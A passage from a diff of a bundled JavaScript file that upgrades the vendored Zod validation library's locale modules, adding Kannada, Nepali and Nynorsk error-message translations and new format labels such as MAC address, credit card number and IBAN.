"\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 MAC", cidrv4: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", cidrv6: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", base64: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64", base64url: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64url", json_string: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A JSON", e164: "\u179B\u17C1\u1781 E.164", + credit_card: "\u179B\u17C1\u1781\u1794\u17D0\u178E\u17D2\u178E\u17A5\u178E\u1791\u17B6\u1793", + currency_code: "\u1780\u17BC\u178A\u179A\u17BC\u1794\u17B7\u1799\u1794\u17D0\u178E\u17D2\u178E", + iban: "IBAN", jwt: "JWT", template_literal: "\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B" }; @@ -96331,22 +97922,139 @@ var error26 = () => { }; function km_default() { return { - localeError: error26() + localeError: error30() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/kh.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kh.js function kh_default() { return km_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ko.js -var error27 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kn.js +var error31 = () => { + const Sizable = { + string: { unit: "\u0C85\u0C95\u0CCD\u0CB7\u0CB0\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + file: { unit: "\u0CAC\u0CC8\u0C9F\u0CCD\u200C\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + array: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + set: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + map: { unit: "entries", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD", + email: "email \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95\u0CA6 \u0CB8\u0CAE\u0CAF", + date: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95", + time: "ISO \u0CB8\u0CAE\u0CAF", + duration: "ISO \u0C85\u0CB5\u0CA7\u0CBF", + ipv4: "IPv4 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + ipv6: "IPv6 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + mac: "MAC \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + cidrv4: "IPv4 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + cidrv6: "IPv6 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + base64: "base64-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + base64url: "base64url-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + json_string: "JSON\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + e164: "E.164 \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + credit_card: "\u0C95\u0CCD\u0CB0\u0CC6\u0CA1\u0CBF\u0C9F\u0CCD \u0C95\u0CBE\u0CB0\u0CCD\u0CA1\u0CCD \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + currency_code: "\u0C95\u0CB0\u0CC6\u0CA8\u0CCD\u0CB8\u0CBF \u0C95\u0CCB\u0CA1\u0CCD", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD" + }; + const TypeDictionary = { + // Compatibility: "nan" -> "NaN" for display + nan: "NaN" + // All other type names omitted - they fall back to raw values via ?? operator + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${expected}, \u0CB8\u0CCD\u0CB5\u0CC0\u0C95\u0CB0\u0CBF\u0CB8\u0CBF\u0CA6\u0CA8\u0CC1 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C86\u0CAF\u0CCD\u0C95\u0CC6: \u0C87\u0CB5\u0CC1\u0C97\u0CB3\u0CB2\u0CCD\u0CB2\u0CBF \u0C92\u0C82\u0CA6\u0CA8\u0CCD\u0CA8\u0CC1 \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0C85\u0C82\u0CB6\u0C97\u0CB3\u0CC1"}`; + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0CAA\u0CCD\u0CB0\u0CBE\u0CB0\u0C82\u0CAD\u0CBF\u0CB8\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0C95\u0CCA\u0CA8\u0CC6\u0C97\u0CCA\u0CB3\u0CCD\u0CB3\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C92\u0CB3\u0C97\u0CCA\u0C82\u0CA1\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0CAE\u0CBE\u0CA6\u0CB0\u0CBF\u0C97\u0CC6 \u0CB9\u0CCA\u0C82\u0CA6\u0CBF\u0C95\u0CC6\u0CAF\u0CBE\u0C97\u0CAC\u0CC7\u0C95\u0CC1 ${_issue.pattern}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6: \u0CAC\u0CB9\u0CC1\u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6\u0CAF\u0CBE\u0C97\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u0C97\u0CC1\u0CB0\u0CC1\u0CA4\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CA6 \u0C95\u0CC0 ${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0C95\u0CC0 \u0C87\u0CA8\u0CCD ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CA4\u0CBE\u0CB0\u0CA4\u0CAE\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF. \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${opts}`; + } + return "\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD"; + case "invalid_element": + return `\u0CB0\u0CB2\u0CCD\u0CB2\u0CBF \u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF ${issue2.origin}`; + default: + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD`; + } + }; +}; +function kn_default() { + return { + localeError: error31() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ko.js +var error32 = () => { const Sizable = { string: { unit: "\uBB38\uC790", verb: "to have" }, file: { unit: "\uBC14\uC774\uD2B8", verb: "to have" }, array: { unit: "\uAC1C", verb: "to have" }, - set: { unit: "\uAC1C", verb: "to have" } + set: { unit: "\uAC1C", verb: "to have" }, + map: { unit: "\uAC1C", verb: "to have" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -96372,12 +98080,16 @@ var error27 = () => { duration: "ISO \uAE30\uAC04", ipv4: "IPv4 \uC8FC\uC18C", ipv6: "IPv6 \uC8FC\uC18C", + mac: "MAC \uC8FC\uC18C", cidrv4: "IPv4 \uBC94\uC704", cidrv6: "IPv6 \uBC94\uC704", base64: "base64 \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", base64url: "base64url \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", json_string: "JSON \uBB38\uC790\uC5F4", e164: "E.164 \uBC88\uD638", + credit_card: "\uC2E0\uC6A9\uCE74\uB4DC \uBC88\uD638", + currency_code: "\uD1B5\uD654 \uCF54\uB4DC", + iban: "IBAN", jwt: "JWT", template_literal: "\uC785\uB825" }; @@ -96448,11 +98160,11 @@ var error27 = () => { }; function ko_default() { return { - localeError: error27() + localeError: error32() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/lt.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/lt.js var capitalizeFirstCharacter = (text2) => { return text2.charAt(0).toUpperCase() + text2.slice(1); }; @@ -96466,7 +98178,7 @@ function getUnitTypeFromNumber(number4) { return "one"; return "few"; } -var error28 = () => { +var error33 = () => { const Sizable = { string: { unit: { @@ -96567,12 +98279,16 @@ var error28 = () => { duration: "ISO trukm\u0117", ipv4: "IPv4 adresas", ipv6: "IPv6 adresas", + mac: "MAC adresas", cidrv4: "IPv4 tinklo prefiksas (CIDR)", cidrv6: "IPv6 tinklo prefiksas (CIDR)", base64: "base64 u\u017Ekoduota eilut\u0117", base64url: "base64url u\u017Ekoduota eilut\u0117", json_string: "JSON eilut\u0117", e164: "E.164 numeris", + credit_card: "kredito kortel\u0117s numeris", + currency_code: "valiutos kodas", + iban: "IBAN", jwt: "JWT", template_literal: "\u012Fvestis" }; @@ -96652,17 +98368,18 @@ var error28 = () => { }; function lt_default() { return { - localeError: error28() + localeError: error33() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/mk.js -var error29 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/mk.js +var error34 = () => { const Sizable = { string: { unit: "\u0437\u043D\u0430\u0446\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, file: { unit: "\u0431\u0430\u0458\u0442\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, array: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, - set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } + set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, + map: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -96688,12 +98405,16 @@ var error29 = () => { duration: "ISO \u0432\u0440\u0435\u043C\u0435\u0442\u0440\u0430\u0435\u045A\u0435", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441\u0430", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441\u0430", + mac: "MAC \u0430\u0434\u0440\u0435\u0441\u0430", cidrv4: "IPv4 \u043E\u043F\u0441\u0435\u0433", cidrv6: "IPv6 \u043E\u043F\u0441\u0435\u0433", base64: "base64-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", base64url: "base64url-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", json_string: "JSON \u043D\u0438\u0437\u0430", e164: "E.164 \u0431\u0440\u043E\u0458", + credit_card: "\u0431\u0440\u043E\u0458 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0438\u0447\u043A\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u043D\u0435\u0441" }; @@ -96762,17 +98483,18 @@ var error29 = () => { }; function mk_default() { return { - localeError: error29() + localeError: error34() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ms.js -var error30 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ms.js +var error35 = () => { const Sizable = { string: { unit: "aksara", verb: "mempunyai" }, file: { unit: "bait", verb: "mempunyai" }, array: { unit: "elemen", verb: "mempunyai" }, - set: { unit: "elemen", verb: "mempunyai" } + set: { unit: "elemen", verb: "mempunyai" }, + map: { unit: "elemen", verb: "mempunyai" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -96798,12 +98520,16 @@ var error30 = () => { duration: "tempoh ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "julat IPv4", cidrv6: "julat IPv6", base64: "string dikodkan base64", base64url: "string dikodkan base64url", json_string: "string JSON", e164: "nombor E.164", + credit_card: "nombor kad kredit", + currency_code: "kod mata wang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -96870,17 +98596,130 @@ var error30 = () => { }; function ms_default() { return { - localeError: error30() + localeError: error35() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/nl.js -var error31 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ne.js +var error36 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + file: { unit: "\u092C\u093E\u0907\u091F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0907\u092E\u0947\u0932 \u0920\u0947\u0917\u093E\u0928\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u092E\u093F\u0924\u093F \u0930 \u0938\u092E\u092F", + date: "ISO \u092E\u093F\u0924\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u0920\u0947\u0917\u093E\u0928\u093E", + ipv6: "IPv6 \u0920\u0947\u0917\u093E\u0928\u093E", + mac: "MAC \u0920\u0947\u0917\u093E\u0928\u093E", + cidrv4: "IPv4 \u0926\u093E\u092F\u0930\u093E", + cidrv6: "IPv6 \u0926\u093E\u092F\u0930\u093E", + base64: "base64-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + base64url: "base64url-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + e164: "E.164 \u0928\u092E\u094D\u092C\u0930", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0928\u092E\u094D\u092C\u0930", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u0939\u0930\u0942 \u092E\u0927\u094D\u092F\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u093E ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} \u092E\u093E ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.prefix}" \u092C\u093E\u091F \u0938\u0941\u0930\u0941 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.suffix}" \u092E\u093E \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.includes}" \u0938\u092E\u093E\u0935\u0947\u0936 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: \u0922\u093E\u0901\u091A\u093E ${_issue.pattern} \u0938\u0901\u0917 \u092E\u0947\u0932 \u0916\u093E\u0928\u0941\u092A\u0930\u094D\u091B`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: ${issue2.divisor} \u0915\u094B \u0917\u0941\u0923\u091C \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u091E\u094D\u091C\u0940${issue2.keys.length > 1 ? "\u0939\u0930\u0942" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u091E\u094D\u091C\u0940: ${issue2.origin} \u092E\u093E`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u093E`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function ne_default() { + return { + localeError: error36() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nl.js +var error37 = () => { const Sizable = { string: { unit: "tekens", verb: "heeft" }, file: { unit: "bytes", verb: "heeft" }, array: { unit: "elementen", verb: "heeft" }, - set: { unit: "elementen", verb: "heeft" } + set: { unit: "elementen", verb: "heeft" }, + map: { unit: "elementen", verb: "heeft" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -96906,12 +98745,16 @@ var error31 = () => { duration: "ISO duur", ipv4: "IPv4-adres", ipv6: "IPv6-adres", + mac: "MAC-adres", cidrv4: "IPv4-bereik", cidrv6: "IPv6-bereik", base64: "base64-gecodeerde tekst", base64url: "base64 URL-gecodeerde tekst", json_string: "JSON string", e164: "E.164-nummer", + credit_card: "creditcardnummer", + currency_code: "valutacode", + iban: "IBAN", jwt: "JWT", template_literal: "invoer" }; @@ -96981,17 +98824,132 @@ var error31 = () => { }; function nl_default() { return { - localeError: error31() + localeError: error37() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/no.js -var error32 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nn.js +var error38 = () => { + const Sizable = { + string: { unit: "teikn", verb: "\xE5 ha" }, + file: { unit: "bytes", verb: "\xE5 ha" }, + array: { unit: "element", verb: "\xE5 innehalde" }, + set: { unit: "element", verb: "\xE5 innehalde" }, + map: { unit: "element", verb: "\xE5 innehalde" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "e-postadresse", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO dato- og klokkeslett", + date: "ISO-dato", + time: "ISO-klokkeslett", + duration: "ISO-varigheit", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", + cidrv4: "IPv4-spekter", + cidrv6: "IPv6-spekter", + base64: "base64-enkoda streng", + base64url: "base64url-enkoda streng", + json_string: "JSON-streng", + e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "tal", + array: "liste" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ugyldig input: forventa instanceof ${issue2.expected}, fekk ${received}`; + } + return `Ugyldig input: forventa ${expected}, fekk ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ugyldig verdi: forventa ${stringifyPrimitive(issue2.values[0])}`; + return `Ugyldig val: forventa eitt av ${joinValues(issue2.values, "|")}`; + case "too_big": { + 